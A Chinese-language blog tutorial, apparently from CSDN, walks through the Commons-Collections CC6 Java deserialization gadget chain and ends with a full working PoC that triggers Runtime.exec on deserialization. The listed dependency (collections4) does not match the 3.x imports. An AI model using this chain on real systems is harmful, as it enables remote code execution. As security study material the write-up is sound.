CommonsCollections CC6链

依赖

<dependency>
  <groupId>org.apache.commons</groupId>
  <artifactId>commons-collections4</artifactId>
  <version>4.0</version>
</dependency>

上⼀篇详细分析了CommonsCollections1这个利⽤链,但是在Java 8u71以后,这个利⽤链不能再利⽤了,主要原因是 sun.reflect.annotation.AnnotationInvocationHandler#readObject 的逻辑变化了,新建了⼀个LinkedHashMap对象,并将原来的键值添加进去。所以,后续对Map的操作都是基于这个新的LinkedHashMap对象,⽽原来我们精⼼构造的Map不再执⾏set或put操作。

引入

URLDNS的污点选取的是DNS查询功能,无法执行命令,只能用于漏洞探测。CC6则选取了能够反射执行Runtime相关方法的类——利用Commons-Collections组件中的InvokerTransformer + ChainedTransformer + ConstantTransformer

Commons-Collections组件

Commons-Collections是用于增强Java集合(Collections)的,也就是说它对Java常用的CollectionsMap、List、Set等进行了相应的开发。例如对于Map,它扩展出了LazyMapMultiValueMapTransformedMap等。Map中每一个键值对相关类用xxEntry来表示。
CC6就用到了LazyMap,Lazy意味着“懒加载”,即在初始化时为空,进行put操作的时候才真正初始化(按需创建)。当LazyMap.get(Object key)方法获取对象时,如果映射中不存在key,将使用工厂创建对象。这个工厂就是Transformer接口类型的。

Transformer

Transformer接口,顾名思义是将一个对象转换为另一个对象的转换器,在3.1版本CommonsCollections组件中搜索其实现类包含13个:ChainedTransformer(将各个转换器连在一起)、InvokerTransformer(用反射创建新的对象)、ConstantTransformer(返回常量)、InstantiateTransformer(反射创建新的对象)等。

反射本身就是Java RCE的一个常用污点。跟进看一下用反射创建对象的InvokerTransformer,代码如下

# InvokerTransformer

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
    super();
    iMethodName = methodName;
    iParamTypes = paramTypes;
    iArgs = args;
}

public Object transform(Object input) {
    try {
        Class cls = input.getClass();
        Method method = cls.getMethod(iMethodName, iParamTypes);
        return method.invoke(input, iArgs);         
    } ...
}

如果input(类)、iMethodName(方法)、iParamTypes(参数类型)、iArgs(参数)都可控,就可以通过反射完成任意类中方法的调用。后三个都可以通过InvokerTransformer自身构造函数传入。但是要对input赋值,需要找到调用InvokerTransformer.transform()的地方。手动调用的transform()方法代码如下:

InvokerTransformer invokerTransformer1=new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"open -a Calculator"});
invokerTransformer1.transform(Runtime.getRuntime());

但是在反序列化构造中需要能自动调用,这也是这条链最巧妙的地方—ChainedTransformer,其transform()方法可以调用所有实现了Transformer接口类的transform()。也就是它注释中提到的将各个转换器连在一起。

# ChainedTransformer
    public Object transform(Object object) {
        for (int i = 0; i < iTransformers.length; i++) {
            object = iTransformers[i].transform(object);
        }
        return object;
    }

POC:

Transformer[] invokerTransformer= new InvokerTransformer[]{
            new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"open -a Calculator"})
        };
ChainedTransformer chainedTransformer=new ChainedTransformer(invokerTransformer);
chainedTransformer.transform(Runtime.getRuntime());

本来是为了解决InvokerTransformer.transform()无法自动调用,现在就变成了需要解决chainedTransformer.transform()无法自动调用的问题,即寻找CommonsCollections中有没有其他方法可以调用chainedTransformer.transform()?

LazyMap

LazyMap是“懒加载”,其get方法获取对象时,如果不存在key,就使用工厂类创建对象,代码如下:

# LazyMap

    protected transient Map map;
    protected final Transformer factory;

    public Object get(Object key) {
        // create value for key if key is not currently in the map
        if (map.containsKey(key) == false) {
            Object value = factory.transform(key);
            map.put(key, value);
            return value;
        }
        return map.get(key);
    }

那么如果此时的factory是ChainedTransformer类型的,就会自动调用其transformer方法,从而解决上个问题。如何给factory赋值呢?LazyMap的构造方法可以,但是LazyMap不能直接new,而是通过自身的decorate()方法来创建。

   public static Map decorate(Map map, Transformer factory) {
        return new LazyMap(map, factory);
    }

    protected LazyMap(Map map, Factory factory) {
        super(map);
        if (factory == null) {
            throw new IllegalArgumentException("Factory must not be null");
        }
        this.factory = FactoryTransformer.getInstance(factory);
    }

结合URLDNS链条最后走到的是HashMap.hashCode(),现在这条链从污点往上推到了LazyMap.get()。问题是,如果把二者连接起来。二者的共性在于都是属于Map接口实现类,结合Map这种数据结构。思路就变成了从Map接口实现类中找一个其hashCode方法存在get调用的类。
最后这条链给出的答案是TiedMapEntry,其hashCode方法如下:

#TiedMapEntry
public int hashCode() {
        Object value = getValue();
        return (getKey() == null ? 0 : getKey().hashCode()) ^
               (value == null ? 0 : value.hashCode()); 
    }

那么整条CC6调用链就连了起来

LazyMap后半链

  1. 分析LazyMap 类的构造函数, 需要当作参数将一个map和一个key传进去
    image.png
  2. 而getValue()中,调用了get方法,这里只要利用map中的key的值
public Object getValue() {
        return map.get(key);
    }
  1. new 一个hashmap,跟进HashMap中查看HashMap中重写的readObject()方法,我们最后要调用的是Hash方法,而Hash方法中也只是对key值做操作
    image.png
    image.png

  2. 所以这里在构造出来的这个hashmap,将实例化出来的对象当作key的值put进map中,

    	//cc1
        HashMap<Object, Object> map = new HashMap<Object, Object>();
        Map<Object, Object> transformedMap = LazyMap.decorate(map,chainedTransformer);

    	//cc6
        TiedMapEntry tiedMapEntry = new TiedMapEntry(map, "ay");
        HashMap<Object, Object> map2 = new HashMap<Object, Object>();
        map2.put(tiedMapEntry,"123");
  1. HashMap调用readObject方法的时候,就会调用hash方法
    image.png
  2. hash方法中会调用hashCode方法
    image.png
  3. 然后就会走到TiedMapEntry的hashCode方法
#TiedMapEntry
public int hashCode() {
        Object value = getValue();
        return (getKey() == null ? 0 : getKey().hashCode()) ^
               (value == null ? 0 : value.hashCode()); 
    }
  1. 这是我们理想的状态,但是我们在之前的URLDNS那条链中在map2.put(tiedMapEntry,"123");的时候就会发起DNS请求,而不是在反序列化的时候发起请求,所以我们需要通过反射改值,这里我们改chainedTransformer的值为new ConstantTransformer(1),随便写一个Transform就行,然后在put完之后,将lazymap中的属性factory的值改回chainedTransformer,代码如下
Map<Object, Object> lazymap = LazyMap.decorate(map,new ConstantTransformer(1));

完整poc

package ysoserial.ay;

import javafx.beans.binding.ObjectExpression;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

/**
 * @ClassName TestCC6
 * @Author aY
 * @Date 2023/3/7 16:56
 * @Description
 */
public class TestCC6 {

    public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {


        //Runtime.getRuntime.exec("calc")
        Transformer[] transformers = new Transformer[]{
            //避免被readObject修改
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//        chainedTransformer.transform(Runtime.class);

        //lazyMap get()->
        HashMap<Object, Object> map = new HashMap<Object, Object>();
        Map<Object, Object> lazymap = LazyMap.decorate(map, new ConstantTransformer(1));

        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "ay");
        HashMap<Object, Object> map2 = new HashMap<Object, Object>();
        map2.put(tiedMapEntry, "123");
       lazymap.remove("ay");

        Class c = LazyMap.class;
        Field factoryfield = c.getDeclaredField("factory");
        factoryfield.setAccessible(true);
        factoryfield.set(lazymap, chainedTransformer);

        


//        serialize(map2);
         unserialize("ser.bin");


    }


    //封装serialize
    public static void serialize(Object object) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(object);
    }

    //封装unserialize
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

YY13172

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值